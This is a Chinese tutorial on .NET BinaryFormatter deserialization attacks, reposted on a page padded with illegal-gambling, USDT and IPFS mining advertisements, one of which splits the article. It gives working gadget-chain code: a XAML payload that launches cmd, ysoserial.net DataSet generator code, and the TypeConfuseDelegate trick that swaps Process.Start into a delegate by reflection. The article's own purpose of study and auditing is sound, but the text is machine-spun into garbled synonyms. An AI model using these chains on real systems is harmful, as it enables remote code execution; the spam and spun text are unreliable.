皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

ipfs官网(www.ipfs8.vip):.net反序列化之BinaryFormatter

admin2021-05-2993安全技术WEB安全

BinaryFormatter

BinaryFormatter将工具序列化为二进制流,命名空间位于System.Runtime.Serialization.Formatters.Binary。微软文档也已经标注了使用BinaryFormatter会造成严重的RCE破绽。

命名空间结构

考察实在现,发现其有多个序列化和反序列化方式,并实现IRemotingFormatter, IFormatter两个接口,序列化和反序列化的用法,以及署理选择器在第一节《dotnet serialize 101》中已经解说过,这里不再赘述。

攻击链

ysoserial.net中所有的gadget都支持BinaryFormatter,其缘故原由必须提到TextFormattingRunProperties链,也得益于TextFormattingRunProperties链条而衍生出多个其他链。接下来我们来看几个ysoserial.net的反序列化链。

TextFormattingRunProperties

查看ysoserial.net中TextFormattingRunPropertiesGenerator天生类的界说,发现TextFormattingRunPropertiesMarshal类工具实现了对TextFormattingRunProperties类的重界说序列化历程,将_xaml字段赋值给ForegroundBrush字段。

使用dnspy反编译看下ForegroundBrush字段到底有什么猫腻。该DLL位置在ysoserial.net工具中就有,路径为ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll

测试代码如下,编译出来使用dnspy调试。

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace BinaryFormatterSerialize
{
    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }

        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string xaml)
        {
            _xaml = xaml;
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            string xaml_payload = File.ReadAllText(@"C:\Users\ddd\source\repos\xml.txt");
            TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);

            using (MemoryStream memoryStream = new MemoryStream())
            {
                // 构建formatter
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                binaryFormatter.Serialize(memoryStream, payload);
                memoryStream.Position = 0;
                binaryFormatter.Deserialize(memoryStream);
            }
            Console.ReadKey();
        }
    }
}
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

引用ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll时项目的dotnet版本应为dotnet4.5

找到命名空间Microsoft.VisualStudio.Text.Formatting,在序列化组织函数中下一个断点。

发现TextFormattingRunProperties实现ISerializable接口,在其序列化的组织函数中,举行this.GetObjectFromSerializationInfo("ForegroundBrush", info)。跟进看下

瞥见了什么?XamlReader.Parse(@string),那这就接上了我们前文《XmlSerializer》中的ObjectDataProvider的链。

云云一来整个链就通了:

  1. 自写一个TextFormattingRunPropertiesMarshal类实现ISerializable接口
  2. 在GetObjectData序列化时给ForegroundBrush字段赋值为xaml的payload,而且将工具类型赋值为TextFormattingRunProperties类。
  3. 在反序列化时触发反序列化组织函数
  4. 反序列化组织函数触发XamlReader.Parse(payload) RCE

限制在于Microsoft.PowerShell.Editor.dll。原作者说明:

该库是PowerShell的一部门,该PowerShell已预安装在从Windows Server 2008 R2和Windows 7最先的所有Windows版本中。

DataSet

看下ysoserial.net的payload

[Serializable]
public class DataSetMarshal : ISerializable
{
    byte[] _fakeTable;

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(System.Data.DataSet));
        info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
        info.AddValue("DataSet.DataSetName", "");
        info.AddValue("DataSet.Namespace", "");
        info.AddValue("DataSet.Prefix", "");
        info.AddValue("DataSet.CaseSensitive", false);
        info.AddValue("DataSet.LocaleLCID", 0x409);
        info.AddValue("DataSet.EnforceConstraints", false);
        info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
        info.AddValue("DataSet.Tables.Count", 1);
        info.AddValue("DataSet.Tables_0", _fakeTable);
    }

    public void SetFakeTable(byte[] bfPayload)
    {
        _fakeTable = bfPayload;
    }

    public DataSetMarshal(byte[] bfPayload)
    {
        SetFakeTable(bfPayload);
    }

    public DataSetMarshal(object fakeTable):this(fakeTable, new InputArgs())
    {
        // This won't use anything we might have defined in ysoserial.net BinaryFormatter process (such as minification)
    }

    public DataSetMarshal(object fakeTable, InputArgs inputArgs)
    {
        MemoryStream stm = new MemoryStream();
        if (inputArgs.Minify)
        {
            ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter();
            fmtLocal.Serialize(stm, fakeTable);
        }
        else
        {
            BinaryFormatter fmt = new BinaryFormatter();
            fmt.Serialize(stm, fakeTable);
        }

        SetFakeTable(stm.ToArray());
    }

    public DataSetMarshal(MemoryStream ms)
    {
        SetFakeTable(ms.ToArray());
    }
}

public class DataSetGenerator:GenericGenerator
{
    public override object Generate(string formatter, InputArgs inputArgs)
    {

        byte[] init_payload = (byte[]) new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);

        DataSetMarshal payloadDataSetMarshal = new DataSetMarshal(init_payload);

        if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)
            || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)
            || formatter.Equals("soapformatter", StringComparison.OrdinalIgnoreCase))
        { 
            return Serialize(payloadDataSetMarshal, formatter, inputArgs);
        }
        else
        {
            throw new Exception("Formatter not supported");
        }
    }
}

天生序列化数据的GetObjectData方式做了以下操作

  1. type设置为System.Data.DataSet
  2. DataSet.RemotingFormat 设置为binary花样
  3. 将DataSet.Tables_0设置为序列化之后的TextFormattingRunPropertiesGenerator byte数组
  4. DataSet.Tables.Count 赋值为1

那么反序列化的时刻我们需要关注DataSet类的序列化组织函数,剖析如下

在DataSet的序列化组织函数接纳了this()方式重载DataSet(SerializationInfo info, StreamingContext context, bool ConstructSchema)

默认赋值serializationFormat和schemaSerializationMode划分为Xml和IncludeSchema。然后遍历info信息判断赋值DataSet.RemotingFormat为Binary

SchemaSerializationMode.DataSet在我们组织的反序列化工具中并不存在,以是仍会保持值为SchemaSerializationMode.IncludeSchema。当DataSet.RemotingFormat为Binary时会进入this.DeserializeDataSet(info, context, serializationFormat, schemaSerializationMode);

这个方式中会反序列化Schema和对应的Data

当schemaSerializationMode==SchemaSerializationMode.IncludeSchema时会举行BinaryFormatter.Deserialize(),条件知足,以是这时刻需要看下memoryStream中buffer的泉源。

byte[] buffer = (byte[])info.GetValue(string.Format(CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[] { i }), typeof(byte[]));

其中i来自int @int = info.GetInt32("DataSet.Tables.Count");,以是info.GetValue()取的是DataSet.Tables_0字段的值,类型为byte数组。而在294行另有一步this.DeserializeDataSetProperties(info, context);

在这里get了一些结构的信息,这里我们组织的时刻也要加上,否则294行会报错,导致走不到Deserialize()。

那么现在就清晰了,DataSet.Tables_0字段的byte数组会被自动反序列化,我们可以将TextFormattingRunProperties天生的byte数组赋值给DataSet.Tables_0字段,然后就可以RCE了。

整个流程:

  1. 天生TextFormattingRunProperties的payload转byte数组存放到DataSet.Tables_0字段
  2. 填充DataSet的其他字段知足反序列化条件使其不报错
  3. 进入DataSet的反序列化组织函数DeserializeDataSet 该函数自动反序列化其中的Schema和Data
  4. 在DeserializeDataSetSchema()中获取DataSet.Tables_0字段的值举行BinaryFormatter.Deserialize()。

这条链的限制也很明晰,依赖于TextFormattingRunProperties。

TypeConfuseDelegate

TypeConfuseDelegate中文翻译过来叫类型混淆委托。那么学习这条链之前必须要领会什么是委托。

委托和多播委托

委托本质上是一个存有方式引用的变量,我们来确立一个委托。

,

USDT跑分网

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,
class Program
{
    public delegate void MyDelegate(string s);

    public static void PrintString(string s)
    {
        Console.WriteLine(s);
    }
    static void Main(string[] args)
    {
        MyDelegate myDelegate = new MyDelegate(PrintString);
        myDelegate("hello from delegate");
    }
}

需要注重的是转达给委托的方式署名必须和界说的委托署名一致,即返回值、参数一致。

通过new MyDelegate(PrintString)将PrintString的引用赋值给myDelegate,然后使用myDelegate("hello from delegate")转达参数。myDelegate持有对PrintString的引用。

多播委托则是持有对委托列表的引用,把多播委托想象成一个列表,将委托的方式加入列表中,多播委托会按顺序依次挪用每个委托。

class Program
{
    public delegate void MyDelegate(string s);

    public static void PrintString(string s)
    {
        Console.WriteLine($"print {s} to screen.");
    }
    public static void WriteToFile(string s)
    {
        Console.WriteLine($"write {s} to file.");
    }
    static void Main(string[] args)
    {
        MyDelegate myDelegate = new MyDelegate(PrintString);
        MyDelegate myDelegate1 = new MyDelegate(WriteToFile);
        myDelegate += myDelegate1;
        myDelegate("hello");
    }
}
// 输出
print hello to screen.
write hello to file.

通过+=的形式添加多个委托,执行myDelegate("hello")挪用了PrintString和WriteToFile两个方式。不仅仅可以用+=的形式来合并委托,还可以用MulticastDelegate.Combine(printString, writeFile)的形式。

static void Main(string[] args)
{
    MyDelegate printString = new MyDelegate(PrintString);
    MyDelegate writeFile = new MyDelegate(WriteToFile);
    Delegate twoDelegte = MulticastDelegate.Combine(printString, writeFile);
    twoDelegte.DynamicInvoke("something");
    Delegate[] delegates = twoDelegte.GetInvocationList();
    foreach (var item in delegates)
    {
        Console.WriteLine(item.Method);
    }
}

// 输出
print something to screen.
write something to file.
Void PrintString(System.String)
Void WriteToFile(System.String)

通过多播委托的twoDelegte.GetInvocationList()可以获得委托的列表。

接下来来看TypeConfuseDelegate这条链。

在ysoserial.net中的实现是通过SortedSet<T>和Comparer举行行使的。SortedSet是一个可以排序的泛型聚集,既然涉及到排序,那么一定涉及到排序的规则,即对照器Comparer。

SortedSet和Comparer

先来看微软文档中异常简朴的一个例子

using System;
using System.Collections;
using System.Collections.Generic;

namespace BinaryFormatterSerialize
{
    public class ByFileExtension : IComparer<string>
    {
        string xExt, yExt;

        CaseInsensitiveComparer caseiComp = new CaseInsensitiveComparer();

        public int Compare(string x, string y)
        {
            // Parse the extension from the file name.
            xExt = x.Substring(x.LastIndexOf(".") + 1);
            yExt = y.Substring(y.LastIndexOf(".") + 1);

            // Compare the file extensions.
            int vExt = caseiComp.Compare(xExt, yExt);
            if (vExt != 0)
            {
                return vExt;
            }
            else
            {
                // The extension is the same,
                // so compare the filenames.
                return caseiComp.Compare(x, y);
            }
        }
    }
    class Program
    {
        public static void Main(string[] args)
        {
            var set = new SortedSet<string>(new ByFileExtension());
            set.Add("test.c");
            set.Add("test.b");
            set.Add("test.a");
            foreach (var item in set)
            {
                Console.WriteLine(item.ToString());
            }
            Console.ReadKey();
        }
    }
}

// 输出
test.a
test.b
test.c

可见向set聚集中添加的test.c、test.b、test.a根据后缀被自动排序。这里需要注重,自动排序的条件是必须要有两个以上的元素,即第二次添加的时刻才会自动排序。

再来看自写的ByFileExtension()对照器,实现了IComparer<string>接口,重写Compare()方式,返回一个int值。

此时转头看ysoserial.net中的代码

Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);

用到了一个Comparison类

该类继续自Comparer<T>抽象类,其Compare吸收两个泛型参数,组织函数中赋值_comparison_comparison是一个Comparison<in T>委托类型,其函数署名与对照函数相同。

Comparer<T>抽象类实现了IComparer<T>接口

两个类均可用来序列化。

此时思索一下,Process.Start中有多个重载。

若是我们将Process.Start设置为对照器,那么向聚集中添加的值就是Process.Start的参数,由此来举行下令执行。在委托中我们提到,委托的方式署名和委托必须一致,而对于SortedSet<string>类来说,其对照函数类型为:

int Comparison<in T>(T x, T y);

而Process.Start()的是:

public static Process Start(string fileName, string arguments);

两个对照函数的返回类型纷歧致,一个是Process,一个是int,若是直接用Process.Start作为对照器,会编译失败。那么这个时刻我们就需要借助多播委托了。

// 确立一个string的对照器
Delegate da = new Comparison<string>(String.Compare);
// 用两个string的对照器合并为一个多播委托
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
// Create()函数返回new ComparisonComparer<T>(d)
IComparer<string> comp = Comparer<string>.Create(d);
// 将ComparisonComparer赋值给SortedSet的对照器
SortedSet<string> set = new SortedSet<string>(comp);
// set.Add("cmd.exe")
set.Add(inputArgs.CmdFileName);
// set.Add("calc")
set.Add(inputArgs.CmdArguments);
// 反射修改_invocationList
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// 修改_invocationList 添加 Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);

至于为什么多播委托可以解决方式署名纷歧致的问题,原作者给出的注释如下:

The only weird thing about this code is TypeConfuseDelegate. It’s a long standing issue that .NET delegates don’t always enforce their type signature, especially the return value. In this case we create a two entry multicast delegate (a delegate which will run multiple single delegates sequentially), setting one delegate to String::Compare which returns an int, and another to Process::Start which returns an instance of the Process class. This works, even when deserialized and invokes the two separate methods. It will then return the created process object as an integer, which just means it will return the pointer to the instance of the process object.

简朴明白就是多播委托转达的是指针。

在SortedSet中OnDeserialization会在反序列化时触发,挪用Add函数

而在Add的时刻,经由多次重载挪用了对照器的Compare()方式。即我们反射修改的Process.Start(string,string)

整个链条

至此剖析就竣事了。另外需要注重的是,Comparer<string>.Create(c)该函数在dotnet4.5中才泛起,低版本的dotnet无法行使乐成。

审计

BinaryFormatter有多个反序列化方式重载,审计时应多加关注。

后文

本节解说了BinaryFormatter在反序列化中的使用及TextFormattingRunProperties和DataSet两条反序列化行使链。

IPFS

IPFS(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

网友评论